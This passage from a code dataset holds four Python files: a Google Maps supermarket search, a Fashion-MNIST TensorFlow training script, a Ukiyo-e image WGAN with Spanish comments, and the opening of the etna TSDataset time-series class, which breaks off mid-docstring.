+{"seq_id":"344908516","text":"import googlemaps\nfrom datetime import datetime\nimport json\n\n\ndef flask_googlemapsearch(user_address, user_radius):\n    # Note: user_radius will have to be capped at MAYBE <25000? due to weird, inconsistent results\n    API_key = \"\"\n    gmaps = googlemaps.Client(key=API_key)\n\n    # Location and user generality, but for now rely on user address\n    user_lat = gmaps.geocode(user_address)[0]['geometry']['location']['lat']\n    user_long = gmaps.geocode(user_address)[0]['geometry']['location']['lng']\n    user_latlong = (user_lat, user_long)\n\n    gmaps_nearby = gmaps.places_nearby(\n        user_latlong, user_radius, type='grocery_or_supermarket' or 'store' or 'establishment' or 'food')['results']\n\n    if not len(gmaps_nearby):\n        print(\"No results nearby! Try expanding your search radius.\")\n    # else:\n        # print(gmaps_nearby)\n        #gmaps_json = json.dumps(gmaps_nearby)\n        # print(gmaps_json)\n\n    store_dict = {}\n    store_list = ['metro', 'longo\\'s', 'zehrs', 'no frills']\n\n    for store in gmaps_nearby:\n        if \"metros\" in store['name'].lower() or \"longo's\" in store['name'].lower() or \"no frills\" in store['name'].lower() or \"zehrs\" in store['name'].lower():\n            store_dict[store['name']] = store['vicinity']\n    #store_location = store['name'] + \" at \" + store['vicinity']\n    # store_list.append(store_location)\n\n    return store_dict\n","sub_path":"flask_googlemapsearch.py","file_name":"flask_googlemapsearch.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"342366196","text":"import tensorflow as tf\nimport numpy as np\nimport keras\nfrom util import loader\n\n\ndef get_non_trainable_variable(input_variable):\n    return tf.Variable(input_variable, trainable=False)\n\n\ndef compute_accuracy(session, prediction, v_xs, v_ys):\n    correct_prediction = tf.equal(tf.argmax(prediction, 1), tf.argmax(v_ys, 1))\n    accuracy_op = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n    result = session.run(accuracy_op, feed_dict={target_train_x: v_xs, target_train_label: v_ys})\n    return result\n\n\ndef get_weight(shape):\n    var = tf.Variable(tf.random_normal(shape), dtype=tf.float32, trainable=True)\n    return var\n\n\ndef get_model(w1, w2, x):\n    flatten_num = image_width ** 2\n    layer = tf.reshape(x, [-1, flatten_num])\n    layer = tf.matmul(layer, w1)\n    layer = tf.nn.relu(layer)\n    layer = tf.matmul(layer, w2)\n    return layer\n\n\nsess = tf.Session()\n# sess = tf_debug.LocalCLIDebugWrapperSession(sess)\nimage_width = 28\nclass_num = 10\n\nfashion_mnist = keras.datasets.fashion_mnist\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',\n               'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\n(train_images, train_labels), (test_images, test_labels) = loader.load_data()\ntrain_images = (train_images / 255.0 - 0.5) * 2\ntest_images = (test_images / 255.0 - 0.5) * 2\ntrain_labels = sess.run(tf.one_hot(train_labels, class_num))\ntest_labels = sess.run(tf.one_hot(test_labels, class_num))\n\ntarget_train_x = tf.placeholder(tf.float32, shape=(None, image_width, image_width))\ntarget_train_label = tf.placeholder(tf.float32, shape=(None, class_num))\n\n# flatten_num = image_width ** 2\n#\nw1_t = tf.Variable(tf.random_normal([784, 128], stddev=1, seed=1))\nw2_t = tf.Variable(tf.random_normal([128, 10], stddev=1, seed=1))\n#\n# target_output = tf.reshape(target_train_x, [-1, flatten_num])\n# target_output = tf.matmul(target_output, w1_t)\n# target_output = tf.nn.relu(target_output)\n# target_output = tf.matmul(target_output, w2_t)\ntarget_output = get_model(w1_t, w2_t, target_train_x)\n\n# sparse不接受one-hot,不加sparse接受\n# 这里还没有求均值��但是有负号\n# target_output = tf.nn.softmax(target_output)\n# cross_entropy = -tf.reduce_mean(target_train_label * tf.log(tf.clip_by_value(target_output, 1e-10, 1.0)))\n\ncross_entropy = tf.reduce_mean(\n    tf.nn.softmax_cross_entropy_with_logits_v2(labels=target_train_label, logits=target_output))\ntrain_step = tf.train.AdamOptimizer(0.001).minimize(cross_entropy)\n\ndataset_size = len(train_images)\n\nbatch_size = 8\ncheck_interval = 1000\nsteps = dataset_size // batch_size\nsteps = steps if dataset_size % batch_size == 0 else steps + 1\n\ninit_op = tf.global_variables_initializer()\nsess.run(init_op)\nepochs = 5\n\nfor epoch in range(epochs):\n    print(\"Epoch %d / %d\" % (epoch + 1, epochs))\n    for i in range(steps):\n        start = (i * batch_size) % dataset_size\n        end = min(start + batch_size, dataset_size)\n\n        sess.run(train_step,\n                 feed_dict={target_train_x: train_images[start:end], target_train_label: train_labels[start:end]})\n\n        if i % check_interval == 0 and i != 0:\n            total_cross_entropy = sess.run(cross_entropy,\n                                           feed_dict={target_train_x: train_images, target_train_label: train_labels})\n            accuracy = compute_accuracy(sess, target_output, train_images, train_labels)\n            print(\"After %d training step(s), loss: %g, accuracy: %g\" % (i, total_cross_entropy, accuracy))\n    total_cross_entropy = sess.run(cross_entropy,\n                                   feed_dict={target_train_x: train_images, target_train_label: train_labels})\n    accuracy = compute_accuracy(sess, target_output, train_images, train_labels)\n    print(\"======================================================\")\n    print(\"At the end of epoch %d, loss: %g, accuracy: %g\" % (epoch + 1, total_cross_entropy, accuracy))\n    print(\"======================================================\")\n\nw1_n = sess.run(w1_t)\nnp.save('../model/nw1.npy', w1_n)\nw2_n = sess.run(w2_t)\nnp.save('../model/nw2.npy', w2_n)\nsess.close()\ntf.reset_default_graph()\n\nsess = tf.Session()\n","sub_path":"attack/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"340928285","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nturner-GAN\r\n\"\"\"\r\n\r\n#Si no funciona el entorno, mirar aquí: https://medium.com/@pushkarmandot/installing-tensorflow-theano-and-keras-in-spyder-84de7eb0f0df\r\n#slim = tf.contrib.slim \r\n#https://medium.freecodecamp.org/how-ai-can-learn-to-generate-pictures-of-cats-ba692cb6eae4 \r\n\r\nimport os\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport random\r\nimport scipy.misc\r\nfrom utils2 import *\r\n\r\n\r\n\r\nHEIGHT, WIDTH, CHANNEL = 128, 128, 3\r\nBATCH_SIZE = 64\r\nEPOCH = 5000\r\nversion = 'newUkiyoe'\r\nnewPoke_path = './' + version\r\n\r\ndef lrelu(x, n, leak=0.2): \r\n    return tf.maximum(x, leak * x, name=n) \r\n \r\ndef process_data():   \r\n   \r\n    current_dir = os.getcwd()\r\n    # parent = os.path.dirname(current_dir)\r\n    pokemon_dir = os.path.join(current_dir, 'Ukiyo_e')\r\n    images = []\r\n    for each in os.listdir(pokemon_dir):\r\n        images.append(os.path.join(pokemon_dir,each))\r\n    # print images    \r\n    all_images = tf.convert_to_tensor(images, dtype = tf.string) #se convierten el vector de imágenes en un tensor\r\n    \r\n    images_queue = tf.train.slice_input_producer(\r\n                                        [all_images]) #divide el tensor en particiones\r\n                                        \r\n    content = tf.read_file(images_queue[0])\r\n    image = tf.image.decode_jpeg(content, channels = CHANNEL)\r\n    # sess1 = tf.Session()\r\n    # print sess1.run(image)\r\n    image = tf.image.random_flip_left_right(image)\r\n    image = tf.image.random_brightness(image, max_delta = 0.1) #ajusta el brillo a un valor concreto aleatorio\r\n    image = tf.image.random_contrast(image, lower = 0.9, upper = 1.1)\r\n    # noise = tf.Variable(tf.truncated_normal(shape = [HEIGHT,WIDTH,CHANNEL], dtype = tf.float32, stddev = 1e-3, name = 'noise')) \r\n    # print image.get_shape()\r\n    size = [HEIGHT, WIDTH]\r\n    image = tf.image.resize_images(image, size)\r\n    image.set_shape([HEIGHT,WIDTH,CHANNEL])\r\n    # image = image + noise\r\n    # image = tf.transpose(image, perm=[2, 0, 1])\r\n    # print image.get_shape()\r\n    \r\n    image = tf.cast(image, tf.float32)\r\n    image = image / 255.0\r\n    \r\n    iamges_batch = tf.train.shuffle_batch(\r\n                                    [image], batch_size = BATCH_SIZE,\r\n                                    num_threads = 4, capacity = 200 + 3* BATCH_SIZE,\r\n                                    min_after_dequeue = 200)\r\n    num_images = len(images)\r\n\t\t\t\t\t\t\t\t\t#está mezclando los tensores de imágenes [images] de cada epoch y dará como resultado image_batch, que es el lote de imagenes a tratar en esa epoch. \r\n\t\t\t\t\t\t\t\t\t#capacity: maximo numero de elementos en la cola(pila). min_after_dequeue:minimo numero de elementos en la pila despues del dequeue(retirar elementos de la pila).\r\n\t\r\n\r\n    return iamges_batch, num_images\r\n\r\ndef generator(input, random_dim, is_train, reuse=False):\r\n    c4, c8, c16, c32, c64 = 512, 256, 128, 64, 32 # channel num\r\n    s4 = 4\r\n    output_dim = CHANNEL  # RGB image\r\n    with tf.variable_scope('gen') as scope:\r\n        if reuse:\r\n            scope.reuse_variables()\r\n        w1 = tf.get_variable('w1', shape=[random_dim, s4 * s4 * c4], dtype=tf.float32,\r\n                             initializer=tf.truncated_normal_initializer(stddev=0.02))\r\n        b1 = tf.get_variable('b1', shape=[c4 * s4 * s4], dtype=tf.float32,\r\n                             initializer=tf.constant_initializer(0.0))\r\n        flat_conv1 = tf.add(tf.matmul(input, w1), b1, name='flat_conv1')  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t     #matmul = matrix multiplication. flat_conv1=inputxw1 + b1 ----> dimensiones:(1x100)matmul(100x8096) + (1x8096)  =  (1x8096)\r\n         #Convolution, bias, activation, repeat! \r\n        conv1 = tf.reshape(flat_conv1, shape=[-1, s4, s4, c4], name='conv1')  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #el -1 es porque desconocemos la dimension (aunque es 1x8096) y queremos que numpy la averigue. Esta transformando un tensor de 1x8096 en otro tensor de 4x4x512\r\n        bn1 = tf.contrib.layers.batch_norm(conv1, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn1')       # adds a batch normalization layer. input:conv1/// is_training: Whether or not the layer is in training mode. In training mode it would accumulate the statistics of the moments/// epsilon: small float added to the variance to avoid dividing by zero/// decay=disminucion de la media\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #Normalize the activations of the previous layer at each batch, i.e. applies a transformation that maintains the mean activation close to 0 and the activation standard deviation close to 1.\r\n\t\t  #se aplica ReLu\r\n        # 8*8*256\r\n        #Convolution, bias, activation, repeat! \r\n        act1 = tf.nn.relu(bn1, name='act1')\r\n        conv2 = tf.layers.conv2d_transpose(act1, c8, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",           \t\t\t\t\t\t\t\t #input=act1; filters=c8=256 -> es la dimension del espacio de salida; kernel_size = dimensiones de los filtros/// strides=salto por el que se multiplica\r\n                                           kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),        \t\t\t\t\t\t\t\t #inicializador del kernel\t\t\r\n                                           name='conv2')\r\n        bn2 = tf.contrib.layers.batch_norm(conv2, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn2')\r\n        act2 = tf.nn.relu(bn2, name='act2')\r\n        # 16*16*128\r\n        conv3 = tf.layers.conv2d_transpose(act2, c16, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",\r\n                                           kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),\r\n                                           name='conv3')\r\n        bn3 = tf.contrib.layers.batch_norm(conv3, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn3')\r\n        act3 = tf.nn.relu(bn3, name='act3')\r\n        # 32*32*64\r\n        conv4 = tf.layers.conv2d_transpose(act3, c32, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",\r\n                                           kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),\r\n                                           name='conv4')\r\n        bn4 = tf.contrib.layers.batch_norm(conv4, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn4')\r\n        act4 = tf.nn.relu(bn4, name='act4')\r\n        # 64*64*32\r\n        conv5 = tf.layers.conv2d_transpose(act4, c64, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",\r\n                                           kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),\r\n                                           name='conv5')\r\n        bn5 = tf.contrib.layers.batch_norm(conv5, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn5')\r\n        act5 = tf.nn.relu(bn5, name='act5')\r\n        \r\n        #128*128*3\r\n        conv6 = tf.layers.conv2d_transpose(act5, output_dim, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",\r\n                                           kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),\r\n                                           name='conv6')\r\n        # bn6 = tf.contrib.layers.batch_norm(conv6, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn6')\r\n        act6 = tf.nn.tanh(conv6, name='act6')\r\n        return act6\r\n\r\n\r\ndef discriminator(input, is_train, reuse=False):\r\n    c2, c4, c8, c16 = 64, 128, 256, 512  # channel num: 64, 128, 256, 512\r\n    with tf.variable_scope('dis') as scope:\r\n        if reuse:\r\n            scope.reuse_variables()\r\n\r\n        #Convolution, activation, bias, repeat! \r\n        conv1 = tf.layers.conv2d(input, c2, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",\r\n                                 kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),\r\n                                 name='conv1')\r\n        bn1 = tf.contrib.layers.batch_norm(conv1, is_training = is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope = 'bn1')\r\n        act1 = lrelu(conv1, n='act1') #se aplica Leaky Relu en lugar de Relu\r\n         #Convolution, activation, bias, repeat! \r\n        conv2 = tf.layers.conv2d(act1, c4, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",\r\n                                 kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),\r\n                                 name='conv2')\r\n        bn2 = tf.contrib.layers.batch_norm(conv2, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn2')\r\n        act2 = lrelu(bn2, n='act2')\r\n        #Convolution, activation, bias, repeat! \r\n        conv3 = tf.layers.conv2d(act2, c8, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",\r\n                                 kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),\r\n                                 name='conv3')\r\n        bn3 = tf.contrib.layers.batch_norm(conv3, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn3')\r\n        act3 = lrelu(bn3, n='act3')\r\n         #Convolution, activation, bias, repeat! \r\n        conv4 = tf.layers.conv2d(act3, c16, kernel_size=[5, 5], strides=[2, 2], padding=\"SAME\",\r\n                                 kernel_initializer=tf.truncated_normal_initializer(stddev=0.02),\r\n                                 name='conv4')\r\n        bn4 = tf.contrib.layers.batch_norm(conv4, is_training=is_train, epsilon=1e-5, decay = 0.9,  updates_collections=None, scope='bn4')\r\n        act4 = lrelu(bn4, n='act4')\r\n       \r\n        # start from act4\r\n        dim = int(np.prod(act4.get_shape()[1:]))\r\n        fc1 = tf.reshape(act4, shape=[-1, dim], name='fc1')\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #el -1 es porque desconocemos la dimension y queremos que numpy la averigue\r\n      \r\n        \r\n        w2 = tf.get_variable('w2', shape=[fc1.shape[-1], 1], dtype=tf.float32,\r\n                             initializer=tf.truncated_normal_initializer(stddev=0.02))\r\n        b2 = tf.get_variable('b2', shape=[1], dtype=tf.float32,\r\n                             initializer=tf.constant_initializer(0.0))\r\n\r\n        # wgan just get rid of the sigmoid\r\n        logits = tf.add(tf.matmul(fc1, w2), b2, name='logits')\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t    #logits es el vector de predicciones que genera el discriminador antes de ser normalizado con sigmoid function (entre 1 y 0).\r\n        # dcgan\r\n        acted_out = tf.nn.sigmoid(logits)\r\n        return logits # acted_out\r\n\r\n\r\ndef train():\r\n    random_dim = 100\r\n    \r\n    with tf.variable_scope('input'):\r\n        #real and fake image placeholders\r\n        real_image = tf.placeholder(tf.float32, shape = [None, HEIGHT, WIDTH, CHANNEL], name='real_image') \t#un placeholder(marcador de posicion) consiste en reservar espacio en memoria para una variable, pero no asignar el valor a esa variable aun. Se asigna en la sesión, de manera que la variable tendrá esos valores durante esa sesión. El placeholder es el método para introducir datos en los gráficos computacionales (tensores) de Tensorflow.\r\n        random_input = tf.placeholder(tf.float32, shape=[None, random_dim], name='rand_input') \t\t\t\t#este placeholder será de tipo float con dimensiones (cualquiera(None) x random_dim) y con ese nombre\r\n        is_train = tf.placeholder(tf.bool, name='is_train') \t\t\t\t\t\t\t\t\t\t\t\t#placeholder de tipo booleano: 1 o 0\r\n    \r\n    # wgan\r\n    fake_image = generator(random_input, random_dim, is_train)\r\n    \r\n    real_result = discriminator(real_image, is_train)\r\n    fake_result = discriminator(fake_image, is_train, reuse=True)\r\n    \r\n    d_loss = tf.reduce_mean(fake_result) - tf.reduce_mean(real_result)  \t\t\t\t\t\t\t\t\t# This optimizes the discriminator. tf.reduce_mean-->hace la media de todos los valores. d_loss es la funcion de error del discriminador y se basa en la distancia entre el resultado verdadero y el falso.\r\n    g_loss = -tf.reduce_mean(fake_result)  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# This optimizes the generator. la funcion de error del generador, que se basa en la media del resultado falso generado\r\n            \r\n\r\n    t_vars = tf.trainable_variables()   \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Devuelve todas las variables creadas con trainable=True\r\n    d_vars = [var for var in t_vars if 'dis' in var.name]\r\n    g_vars = [var for var in t_vars if 'gen' in var.name]\r\n    trainer_d = tf.train.RMSPropOptimizer(learning_rate=2e-4).minimize(d_loss, var_list=d_vars)   \t\t\t#Root Mean Squared Propagation: es una version adaptada del stochastic gradient descent. Va minimizando d_loss. Es un método de optimización adaptativa del learning rate.\r\n    trainer_g = tf.train.RMSPropOptimizer(learning_rate=2e-4).minimize(g_loss, var_list=g_vars)   \t\t\t#va minimizando g_loss \r\n    # clip discriminator weights\r\n    d_clip = [v.assign(tf.clip_by_value(v, -0.01, 0.01)) for v in d_vars] \t\t\t\t\t\t\t\t\t#las d_vars(variables del discriminador) inferiores a -0.01 serán 0.01 y las superiores a 0.01 serán 0.01\r\n\r\n    \r\n    batch_size = BATCH_SIZE\r\n    image_batch, samples_num = process_data()  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#se obtienen las imágenes estandarizadas. samples_num es el numero de imagenes que se tratan, el numero de muestras. image_batch\r\n    \r\n    batch_num = int(samples_num / batch_size)\r\n    total_batch = 0\r\n    sess = tf.Session()\r\n    saver = tf.train.Saver()  \r\n    sess.run(tf.global_variables_initializer())  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#antes de usar variables estas deben de ser inicializadas\r\n    sess.run(tf.local_variables_initializer())\r\n    # continue training\r\n    save_path = saver.save(sess, \"/tmp/model.ckpt\")   \t\t\t\t\t\t\t\t\t\t\t\t\t\t#guarda las variables \r\n    ckpt = tf.train.latest_checkpoint('./model/' + version)  \t\t\t\t\t\t\t\t\t\t\t\t#encuentra el nombre de del archivo del ultimo checkpoint guardado. './model/' es el directorio donde se encuentra el checkpoint\r\n    saver.restore(sess, save_path) \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#restaura las variables que se han guardado previamente\r\n    coord = tf.train.Coordinator()\r\n\t \r\n    threads = tf.train.start_queue_runners(sess=sess, coord=coord)   \t\t\t\t\t\t\t\t\t\t#threading implica multiples tareas ejecutandose asincronicamente. El metodo de threading es el queuing y ayuda para introducir los datos en el training set. Cuando Tensorflow está leyendo la entrada de datos necesita mantener muchas queues operando simultaneamente, por lo que el Coordinator  ayuda a gestionarlo. Multithreaded queues are a powerful and widely used mechanism supporting asynchronous computation. https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow/+/r0.10/tensorflow/g3doc/how_tos/threading_and_queues/index.md \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# https://www.tensorflow.org/guide/graphs explica como funciona tensorflow y sus graficos y sesiones\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#Like everything in TensorFlow, a queue is a node in a TensorFlow graph. It's a stateful node, like a variable: other nodes can modify its content. In particular, nodes can enqueue new items in to the queue, or dequeue existing items from the queue\r\n\t\r\n\t             \r\n    print('batch size: %d, batch num per epoch: %d, epoch num: %d' % (batch_size, batch_num, EPOCH))\r\n    print('total training sample num:%d' % samples_num)\r\n    print('start training...')\r\n    for i in range(EPOCH):\r\n        print(\"Running epoch {}/{}...\".format(i, EPOCH))\r\n        for j in range(batch_num):\r\n            print(j)\r\n            d_iters = 5\r\n            g_iters = 1\r\n\r\n            train_noise = np.random.uniform(-1.0, 1.0, size=[batch_size, random_dim]).astype(np.float32) \t\t\t\t#el vector de ruido aleatorio normalizado de tamaño 64 x 100\r\n            for k in range(d_iters):\r\n                print(k)\r\n                train_image = sess.run(image_batch)\r\n                #wgan clip weights\r\n                sess.run(d_clip)  \r\n                \r\n                # Update the discriminator\r\n                _, dLoss = sess.run([trainer_d, d_loss],\r\n                                    feed_dict={random_input: train_noise, real_image: train_image, is_train: True})\r\n\r\n            # Update the generator\r\n            for k in range(g_iters):\r\n                \r\n                _, gLoss = sess.run([trainer_g, g_loss],\r\n                                    feed_dict={random_input: train_noise, is_train: True})\r\n\r\n            # print 'train:[%d/%d],d_loss:%f,g_loss:%f' % (i, j, dLoss, gLoss)\r\n            \r\n        # save check point every 500 epoch\r\n        if i%100 == 0:\r\n            if not os.path.exists('./model/' + version):\r\n                os.makedirs('./model/' + version)\r\n            saver.save(sess, './model/' +version + '/' + str(i))  \r\n        if i%50 == 0:\r\n            # save images\r\n            if not os.path.exists(newPoke_path):\r\n                os.makedirs(newPoke_path)\r\n            sample_noise = np.random.uniform(-1.0, 1.0, size=[batch_size, random_dim]).astype(np.float32) \t\t\t\t#vector de ruido de 64 x 100\r\n            imgtest = sess.run(fake_image, feed_dict={random_input: sample_noise, is_train: False})\r\n            # imgtest = imgtest * 255.0\r\n            # imgtest.astype(np.uint8)\r\n            save_images(imgtest, [8,8] ,newPoke_path + '/epoch' + str(i) + '.jpg')\r\n            \r\n            print('train:[%d],d_loss:%f,g_loss:%f' % (i, dLoss, gLoss))\r\n\t\t\t\r\n    coord.request_stop()   \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#requests that threads should stop\r\n    coord.join(threads)    \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#waits until the specified threads have stopped.\r\n\r\n\r\n# def test():\r\n    # random_dim = 100\r\n    # with tf.variable_scope('input'):\r\n        # real_image = tf.placeholder(tf.float32, shape = [None, HEIGHT, WIDTH, CHANNEL], name='real_image')\r\n        # random_input = tf.placeholder(tf.float32, shape=[None, random_dim], name='rand_input')\r\n        # is_train = tf.placeholder(tf.bool, name='is_train')\r\n    \r\n    # # wgan\r\n    # fake_image = generator(random_input, random_dim, is_train)\r\n    # real_result = discriminator(real_image, is_train)\r\n    # fake_result = discriminator(fake_image, is_train, reuse=True)\r\n    # sess = tf.InteractiveSession()\r\n    # sess.run(tf.global_variables_initializer())\r\n    # variables_to_restore = slim.get_variables_to_restore(include=['gen'])\r\n    # print(variables_to_restore)\r\n    # saver = tf.train.Saver(variables_to_restore) \r\n    # ckpt = tf.train.latest_checkpoint('./model/' + version)\r\n    # saver.restore(sess, ckpt)\r\n\r\n   #tf.reset_default_graph()\r\nif __name__ == \"__main__\":\r\n    train()\r\n    # test()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Ukiyoe.py","file_name":"Ukiyoe.py","file_ext":"py","file_size_in_byte":18410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"420992018","text":"import math\nimport warnings\nfrom typing import TYPE_CHECKING\nfrom typing import List\nfrom typing import Optional\nfrom typing import Sequence\nfrom typing import Tuple\nfrom typing import Union\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\n\nfrom etna.loggers import tslogger\n\nif TYPE_CHECKING:\n    from etna.transforms.base import Transform\n\nTTimestamp = Union[str, pd.Timestamp]\n\n\nclass TSDataset:\n    \"\"\"TSDataset is the main class to handle your time series data.\n    It prepares the series for exploration analyzing, implements feature generation with Transforms\n    and generation of future points.\n\n    Notes\n    -----\n    TSDataset supports custom indexing and slicing method.\n    It maybe done through these interface: TSDataset[timestamp, segment, column]\n    If at the start of the period dataset contains NaN those timestamps will be removed.\n\n    Examples\n    --------\n    >>> from etna.datasets import generate_const_df\n    >>> df = generate_const_df(periods=30, start_time=\"2021-06-01\", n_segments=2, scale=1)\n    >>> df_ts_format = TSDataset.to_dataset(df)\n    >>> ts = TSDataset(df_ts_format, \"D\")\n    >>> ts[\"2021-06-01\":\"2021-06-07\", \"segment_0\", \"target\"]\n    timestamp\n    2021-06-01    1.0\n    2021-06-02    1.0\n    2021-06-03    1.0\n    2021-06-04    1.0\n    2021-06-05    1.0\n    2021-06-06    1.0\n    2021-06-07    1.0\n    Freq: D, Name: (segment_0, target), dtype: float64\n\n    >>> from etna.datasets import generate_ar_df\n    >>> pd.options.display.float_format = '{:,.2f}'.format\n    >>> df_to_forecast = generate_ar_df(100, start_time=\"2021-01-01\", n_segments=1)\n    >>> df_regressors = generate_ar_df(120, start_time=\"2021-01-01\", n_segments=5)\n    >>> df_regressors = df_regressors.pivot(index=\"timestamp\", columns=\"segment\").reset_index()\n    >>> df_regressors.columns = [\"timestamp\"] + [f\"regressor_{i}\" for i in range(5)]\n    >>> df_regressors[\"segment\"] = \"segment_0\"\n    >>> df_to_forecast = TSDataset.to_dataset(df_to_forecast)\n    >>> df_regressors = TSDataset.to_dataset(df_regressors)\n    >>> tsdataset = TSDataset(df=df_to_forecast, freq=\"D\", df_exog=df_regressors)\n    >>> tsdataset.df.head(5)\n    segment      segment_0\n    feature    regressor_0 regressor_1 regressor_2 regressor_3 regressor_4 target\n    timestamp\n    2021-01-01        1.62       -0.02       -0.50       -0.56        0.52   1.62\n    2021-01-02        1.01       -0.80       -0.81        0.38       -0.60   1.01\n    2021-01-03        0.48        0.47       -0.81       -1.56       -1.37   0.48\n    2021-01-04       -0.59        2.44       -2.21       -1.21       -0.69  -0.59\n    2021-01-05        0.28        0.58       -3.07       -1.45        0.77   0.28\n    \"\"\"\n\n    idx = pd.IndexSlice\n\n    def __init__(self, df: pd.DataFrame, freq: str, df_exog: Optional[pd.DataFrame] = None):\n        \"\"\"Init TSDataset.\n\n        Parameters\n        ----------\n        df:\n            dataframe with timeseries\n        freq:\n            frequency of timestamp in df\n        df_exog:\n            dataframe with exogenous data;\n            if the series is known in the future features' names should start with prefix 'regressor_`.\n        \"\"\"\n        self.raw_df = df.copy(deep=True)\n        self.raw_df.index = pd.to_datetime(self.raw_df.index)\n        self.freq = freq\n        self.df_exog = None\n\n        self.raw_df.index = pd.to_datetime(self.raw_df.index)\n\n        try:\n            infered_freq = pd.infer_freq(self.raw_df.index)\n        except ValueError:\n            warnings.warn(\"TSDataset freq can't be inferred\")\n            infered_freq = None\n\n        if infered_freq != self.freq:\n            warnings.warn(\n                f\"You probably set wrong freq. Discovered freq in you data is {infered_freq}, you set {self.freq}\"\n            )\n\n        self.raw_df = self.raw_df.asfreq(self.freq)\n\n        self.df = self.raw_df.copy(deep=True)\n\n        if df_exog is not None:\n            self.df_exog = df_exog.copy(deep=True)\n            self.df_exog.index = pd.to_datetime(self.df_exog.index)\n            self.df = self._merge_exog(self.df)\n\n        self.transforms: Optional[Sequence[\"Transform\"]] = None\n        self._update_regressors()\n\n    def transform(self, transforms: Sequence[\"Transform\"]):\n        \"\"\"Apply given transform to the data.\"\"\"\n        self._check_endings()\n        self.transforms = transforms\n        for transform in self.transforms:\n            tslogger.log(f\"Transform {transform.__class__.__name__} is applied to dataset\")\n            self.df = transform.transform(self.df)\n        self._update_regressors()\n\n    def fit_transform(self, transforms: Sequence[\"Transform\"]):\n        \"\"\"Fit and apply given transforms to the data.\"\"\"\n        self._check_endings()\n        self.transforms = transforms\n        for transform in self.transforms:\n            tslogger.log(f\"Transform {transform.__class__.__name__} is applied to dataset\")\n            self.df = transform.fit_transform(self.df)\n        self._update_regressors()\n\n    def __repr__(self):\n        return self.df.__repr__()\n\n    def _repr_html_(self):\n        return self.df._repr_html_()\n\n    def __getitem__(self, item):\n        if isinstance(item, slice) or isinstance(item, str):\n            df = self.df.loc[self.idx[item]]\n        elif len(item) == 2 and item[0] is Ellipsis:\n            df = self.df.loc[self.idx[:], self.idx[:, item[1]]]\n        elif len(item) == 2 and item[1] is Ellipsis:\n            df = self.df.loc[self.idx[item[0]]]\n        else:\n            df = self.df.loc[self.idx[item[0]], self.idx[item[1], item[2]]]\n        first_valid_idx = df.first_valid_index()\n        df = df.loc[first_valid_idx:]\n        return df\n\n    def make_future(self, future_steps: int) -> \"TSDataset\":\n        \"\"\"Return new TSDataset with future steps.\n\n        Parameters\n        ----------\n        future_steps:\n            number of timestamp in the future to build features for.\n\n        Returns\n        -------\n        dataset with features in the future.\n\n        Examples\n        --------\n        >>> from etna.datasets import generate_const_df\n        >>> df = generate_const_df(\n        ...    periods=30, 